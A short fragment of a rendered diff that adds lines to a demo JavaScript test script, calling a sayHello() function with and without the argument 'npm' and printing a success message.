+
console.log('\nsayHello() output:');
|
|
9
|
+
sayHello();
|
|
10
|
+
|
|
11
|
+
console.log('\nsayHello("npm") output:');
|
|
12
|
+
sayHello('npm');
|
|
13
|
+
|
|
14
|
+
console.log('\nā
All tests passed!');
|
|
15
|
+
|